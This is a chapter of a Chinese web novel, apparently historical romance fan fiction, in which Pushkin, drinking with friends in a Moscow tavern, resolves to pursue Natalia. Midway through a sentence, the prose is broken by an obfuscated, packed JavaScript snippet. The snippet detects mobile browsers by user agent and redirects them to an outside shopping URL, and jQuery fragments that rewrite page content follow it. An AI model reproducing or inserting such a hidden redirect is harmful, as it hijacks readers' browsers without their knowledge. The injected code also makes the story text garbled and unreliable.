几个小时前。
莫斯科旧城区一条窄巷深处，木门掩着的小酒馆里灯火混沌。没有水晶灯，没有银质餐具。
空气里拧着劣质伏特加、烟草和汗味，唯一的优点是自由——这地方没有人审查用词，也没有沙皇的眼线盯着你杯中的倒影。
普希金坐在角落长桌旁，面前第四杯酒见了底。
维亚泽姆斯基和纳先金分坐两侧。角落里几个吉普赛女郎踩着铃铛的节奏旋转，酒客们掌声口哨此起彼伏。
普希金跟着拍了两下手，就没了动静。
维亚泽姆斯基拿杯底碰了碰他的杯子。
“大诗人，来之前不是说要醉个痛快？”
“已经很痛快了。”
“痛快的人不会连吉普赛姑娘都懒得多看一眼。”纳先金一杯酒灌下去，往椅背上一靠，“写不出东西了，还是上头那位又盯上你了？”
普希金摇头。
他说不出口。
他该说什么呢？
说他在宫廷舞会上向一个十六岁的姑娘伸出手，然后被人连正眼都不给一个地拒了？
太丢人。
可更要命的是，被拒之后，他非但没走开，反而陷得更深。
就寝前想，晨起也想，提笔写诗少女的脸从墨水里浮出来，社交场合看见茶花墙纸都要驻足发半天呆。
救命。
大诗人普希金可是身经百战，他自认对这些事早就免疫，绝不会像个毛头小子在爱情里浮浮沉沉。
结果？
结果就是他沙皇的——他栽了。
彻底栽在一个初入社交场、名叫娜塔莉娅的姑娘手里。
维亚泽姆斯基又推过来一杯，漫不经心地试探。
“新欢还是旧爱？我听说奥列尼娜刚订了婚——”
“跟她没关系，我们也不是那种关系。”
啧，否认太快。
维亚泽姆斯基和纳先金对了一眼，懂了：不是旧人，是新欢——还是往心脏开了一枪的那种。
普希金沉了好一会儿，端起酒杯晃了一圈。
“如果缪斯从奥林匹斯山上走下来，在凡人面前只露了一面……”
纳先金挑了挑眉。
“凡人一见倾心。但缪斯对他毫无兴趣——甚至有些嫌弃。”
维亚泽姆斯基插了句：“那这个凡人挺惨。”
“不止。”普希金搁下杯子，“凡人身后还跟着一群猎犬。他靠近缪斯，那些东西会毫不犹豫连她一起撕碎。”
桌面安静了几秒。
纳先金先开了口，杯底朝天，一饮而尽。
“萨沙，你什么时候开始替别人做主了？缪斯喜不喜欢凡尘，那是她自己的事。你不去交心，不去当面问，又凭什么断定一切？”
维亚泽姆斯基替他斟满酒，笑着敲了敲桌面。
“你现在这样，说白了就是怕被拒绝。你不是怕连累她。你是怕你竭尽全力，却没办法让她对你倾心——毕竟你……”
普希金
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378120|200131||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的手顿住。
“大诗人，笔下写过那么多关于逐爱的句子，什么时候自己也勇敢一回？”
铃铛声、碰杯声、吉普赛女郎的笑声，酒馆里的喧嚣一浪盖过一浪。
普希金仰头，把那杯酒灌了下去。
液体烧过喉咙的那一瞬，脑海里浮上来的不是被拒的那一幕。
是月下茶花园，那只命运的舞鞋，是她灰色的眼睛；
更是楼梯拐角，在班肯多尔夫的压迫下，不卑不亢说她眼睛不瞎——
那是他第一次被一个全然陌生的人，毫不犹豫地、不计后果地维护。
丘比特的金箭无人能逃。
酒杯重重搁回桌上。
“走了。”
“去哪？”
诗人想通了。
戒断无用，他依旧喜欢娜塔莉娅——他迫切地想见她，向她诉说一切。
“去问缪斯——
“问她到底要不要从奥林匹斯山上下来。”
*
被迫从床上爬起来的莉娅，被两位姐姐看戏似的扒拉到窗前。
顶着月色，莉娅认出了那团被狄俄尼索斯腌渍入味的醒目男人。
是诗人普希金。
莉娅撑起困乏的眼，在心里吹了个口哨：“哦豁，娜塔，你从未告诉过我，你的‘老公’这么疯？”
娜塔倒吸一口凉气，十分迅速地划出界限：“我的丈夫早就回归文学之神的怀抱了。莉娅，楼下这个，是你未来的‘老公’。”